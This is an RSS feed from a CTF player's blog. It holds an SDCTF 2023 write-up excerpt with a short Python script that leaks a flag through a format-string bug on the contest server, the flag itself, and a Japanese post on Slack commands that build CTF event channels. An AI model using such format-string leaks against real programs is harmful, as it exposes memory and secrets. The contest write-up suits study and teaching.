<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>Misc on Laika&#39;s Blog</title>
    <link>https://blog.albina.cc/tags/misc/</link>
    <description>Recent content in Misc on Laika&#39;s Blog</description>
    <generator>Hugo -- 0.135.0</generator>
    <language>ja-jp</language>
    <lastBuildDate>Thu, 11 May 2023 19:36:24 +0900</lastBuildDate>
    <atom:link href="https://blog.albina.cc/tags/misc/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>SDCTF 2023 writeup</title>
      <link>https://blog.albina.cc/posts/sdctf-2023-writeup/</link>
      <pubDate>Thu, 11 May 2023 19:36:24 +0900</pubDate>
      <guid>https://blog.albina.cc/posts/sdctf-2023-writeup/</guid>
      <description>&lt;p&gt;I participated &lt;a href=&#34;https://ctf.sdc.tf/&#34;&gt;SDCTF 2023&lt;/a&gt; as Wani Hackase and took 5th
place. Thank you for organizing nice CTF events!&lt;/p&gt;
&lt;figure&gt;
    &lt;img loading=&#34;lazy&#34; src=&#34;https://blog.albina.cc/img/2023-sdctf/result.png&#34; width=&#34;80%&#34;/&gt; 
&lt;/figure&gt;

&lt;h2 id=&#34;pwnmoney-printer&#34;&gt;PWN/money-printer&lt;/h2&gt;
&lt;p&gt;This binary contains a format string bug and the flag is located at stack. I
just send &lt;code&gt;%i$08lx&lt;/code&gt; to reveal the flag as shown below.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;from&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;toyotama&lt;/span&gt; &lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;*&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;_r&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Socket&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;nc money.sdc.tf 1337&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;_r&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;sendlineafter&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;want?&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\n&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1000&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;_r&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;sendlineafter&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;audience?&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\n&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34; &amp;#34;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;join&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;([&lt;/span&gt;&lt;span class=&#34;sa&#34;&gt;f&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;%&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;{&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;$08lx&amp;#34;&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;range&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;16&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)]))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;_r&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;recvuntil&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;said: &amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;flag&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_r&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;recvline&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;decode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;split&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;flag&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;sa&#34;&gt;b&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;join&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;([&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;bytes&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;fromhex&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;x&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)[::&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;x&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;flag&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;])&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;flag&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+=&lt;/span&gt; &lt;span class=&#34;sa&#34;&gt;b&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;}&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;flag&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;sdctf{d4mn_y0u_f0unD_4_Cr4zY_4M0uN7_0f_M0n3y}&lt;/code&gt;&lt;/p&gt;
&lt;h2 id=&#34;miscform-bomb-protector&#34;&gt;MISC/Form bomb protector&lt;/h2&gt;
&lt;p&gt;After connecting the server, it spawn a shell but we cannot use most commands
since some syscall is prohibited. It accepts bash builtin commands, so I
combined some of them to read the flag.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Wani HackaseのSlackにあるスラッシュコマンドの紹介</title>
      <link>https://blog.albina.cc/posts/wani-hackase%E3%81%AEslack%E3%81%AB%E3%81%82%E3%82%8B%E3%82%B9%E3%83%A9%E3%83%83%E3%82%B7%E3%83%A5%E3%82%B3%E3%83%9E%E3%83%B3%E3%83%89%E3%81%AE%E7%B4%B9%E4%BB%8B/</link>
      <pubDate>Fri, 16 Dec 2022 00:01:00 +0900</pubDate>
      <guid>https://blog.albina.cc/posts/wani-hackase%E3%81%AEslack%E3%81%AB%E3%81%82%E3%82%8B%E3%82%B9%E3%83%A9%E3%83%83%E3%82%B7%E3%83%A5%E3%82%B3%E3%83%9E%E3%83%B3%E3%83%89%E3%81%AE%E7%B4%B9%E4%BB%8B/</guid>
      <description>&lt;h2 id=&#34;はじめに&#34;&gt;はじめに&lt;/h2&gt;
&lt;p&gt;本記事は&lt;a href=&#34;https://adventar.org/calendars/7550&#34;&gt;CTF Advent Calendar&lt;/a&gt;の16日目の記事です。
昨日はkanonさんの&lt;a href=&#34;https://kanzya.github.io/posts/adventcalender2022/&#34;&gt;「初心者がCTF始めるためにはどうすればいいのか(個人的偏見)」&lt;/a&gt;でした。
初めの解けない問題が多いうちはなかなか辛いですが、私もとにかく問題を解きまくっているときが一番成長を実感しますね。&lt;/p&gt;
&lt;p&gt;今回は、Wani HackaseのSlackにある便利スラッシュコマンド(n=2)の紹介です。&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;
Wani Hackaseが設立したときに私は居なかったのですが、当時からSlackを使っていたようで今でもSlackを使っています。&lt;/p&gt;
&lt;h2 id=&#34;チャンネル立てるのめんどくさい&#34;&gt;チャンネル立てるのめんどくさい&lt;/h2&gt;
&lt;p&gt;Wani Hackaseでは毎週のミーティングで、（だいたい週末にある）参加するCTFを適当に選んでいます。
私が参加登録をする係をしていて&lt;sup id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;2&lt;/a&gt;&lt;/sup&gt;、イベントごとに1つのSlackのチャンネル立てるのですが、これが結構めんどくさいです。
そこで、チャンネルを立てる作業を半自動化できるSlackのスラッシュコマンドを作って少し楽をしています。
次に実際のコマンドの動作の流れを紹介します。&lt;/p&gt;
&lt;h2 id=&#34;スラッシュコマンド&#34;&gt;スラッシュコマンド&lt;/h2&gt;
&lt;p&gt;CTFtimeからイベントを取得する &lt;code&gt;/event&lt;/code&gt; と、それ以外のイベント用の &lt;code&gt;/custom_event&lt;/code&gt; があります。&lt;/p&gt;
&lt;h3 id=&#34;event&#34;&gt;/event&lt;/h3&gt;
&lt;p&gt;CTFtimeからイベントを取得して、選んだイベントをもとにチャンネルを作ってくれます。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;/event&lt;/code&gt; コマンドで起動します。&lt;/li&gt;
&lt;li&gt;CTFtimeの直近10件くらいのUpcomingなイベントが表示されるので1つ選びます。
&lt;img loading=&#34;lazy&#34; src=&#34;https://blog.albina.cc/img/event-channel-generator/choose-an-event.png&#34; alt=&#34;event&#34;  /&gt;
&lt;/li&gt;
&lt;li&gt;チャンネル名に使うイベント名の略称と、ログイン時に使用するID/PWを入力します。
PWはランダムな文字列を自動生成して最初から入力されているので、登録時にここからコピペもできます。（勿論ダミーです）
&lt;img loading=&#34;lazy&#34; src=&#34;https://blog.albina.cc/img/event-channel-generator/create-an-event-channel.png&#34; alt=&#34;create-event&#34;  /&gt;
&lt;/li&gt;
&lt;li&gt;submitすると &lt;code&gt;#events&lt;/code&gt; チャンネルに、選択したイベントのチャンネルへのリンクが貼られます。
&lt;img loading=&#34;lazy&#34; src=&#34;https://blog.albina.cc/img/event-channel-generator/event.png&#34; alt=&#34;event&#34;  /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;#2022_12_intent&lt;/code&gt; のように生成されたイベントチャンネルへのリンクを押すと、イベントの日時やリンク、ログイン情報などが投稿されたチャンネルへ飛びます。
日時は日本時間に合わせてあります。
&lt;img loading=&#34;lazy&#34; src=&#34;https://blog.albina.cc/img/event-channel-generator/new-event.png&#34; alt=&#34;new-event&#34;  /&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&#34;custom_event&#34;&gt;/custom_event&lt;/h3&gt;
&lt;p&gt;CTFtimeには掲載されていないイベント用のコマンドで、手動で入力したイベント情報をもとにチャンネルを作ってくれます。
Slackには時刻を入力できるフォームがあるのでやや便利です。
基本的に主催チームのタイムゾーン基準で開催時刻が記載されていて日本標準時への変換が面倒なことが多いので、タイムゾーンを指定することでそのまま日時を打てるようにしてあります。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/custom_event&lt;/code&gt; コマンドは全部手動で入力します。
&lt;img loading=&#34;lazy&#34; src=&#34;https://blog.albina.cc/img/event-channel-generator/custom-event.png&#34; alt=&#34;custom_event&#34;  /&gt;
&lt;/p&gt;
&lt;h2 id=&#34;ctftime-api&#34;&gt;CTFtime API&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;/event&lt;/code&gt;でCTFtimeのイベントを取得していますが、これにはCTFtimeの&lt;a href=&#34;https://ctftime.org/api/&#34;&gt;API&lt;/a&gt;を利用しています。
このページはリンクが見つけにくいので&lt;sup id=&#34;fnref:3&#34;&gt;&lt;a href=&#34;#fn:3&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;3&lt;/a&gt;&lt;/sup&gt;そもそも存在に気づきにくいです。
丁寧なドキュメントがあるわけではないのでAPIが返すイベント情報によくわからないフィールドもありますが、適当にパースして雰囲気で使っています。&lt;/p&gt;
&lt;h2 id=&#34;discord版スラッシュコマンド&#34;&gt;Discord版スラッシュコマンド&lt;/h2&gt;
&lt;p&gt;&lt;a href=&#34;https://slack.com/intl/ja-jp/blog/news/pricing-and-plan-updates&#34;&gt;Slackがフリープランの90日以前のメッセージ閲覧に制限をかけ始めた&lt;/a&gt;のでDiscordへの移行を見越してDiscord版のスラッシュコマンドも作っていました。
最近(?)のDiscordはモーダルウィンドウとかも出せるようになっているらしく、似たような物を作れると思っていたのですが、ドキュメントを読み解くのにかなり苦戦して途中で投げています……
&lt;img loading=&#34;lazy&#34; src=&#34;https://blog.albina.cc/img/event-channel-generator/discord.png&#34; alt=&#34;discord&#34;  /&gt;
&lt;/p&gt;
&lt;p&gt;やる気が再燃したら多分完成させると思います。&lt;/p&gt;
&lt;h2 id=&#34;おわりに&#34;&gt;おわりに&lt;/h2&gt;
&lt;p&gt;そんなに複雑なことをしている訳ではないのですが、かなり作業が楽になりました。&lt;br&gt;
いっそ参加登録も自動化できたらいいなーとか考えていましたが、規格でもない限り無理なので諦めました……  &lt;sup id=&#34;fnref:4&#34;&gt;&lt;a href=&#34;#fn:4&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;4&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;明日はArkさんが2022年のおもしろWeb問を紹介されるようです！&lt;/p&gt;
&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id=&#34;fn:1&#34;&gt;
&lt;p&gt;本当はExtended Hidden Number Problemの話を書きたかったのですが、師走は本当に忙しいので軽めの記事に落ち着きました&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:2&#34;&gt;
&lt;p&gt;いつの間にか参加登録マンになっていた&amp;#160;&lt;a href=&#34;#fnref:2&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:3&#34;&gt;
&lt;p&gt;そもそもメインのページからリンクが無いかもしれない？　どうやって見つけたかも思い出せない🙃&amp;#160;&lt;a href=&#34;#fnref:3&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:4&#34;&gt;
&lt;p&gt;規格といえば、配布ファイル解凍時に「ファイルが散らばる」or「ディレクトリが出てくる」を定める規格があってもいいのにな～と常々思っています。&amp;#160;&lt;a href=&#34;#fnref:4&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description>
    </item>
  </channel>
</rss>
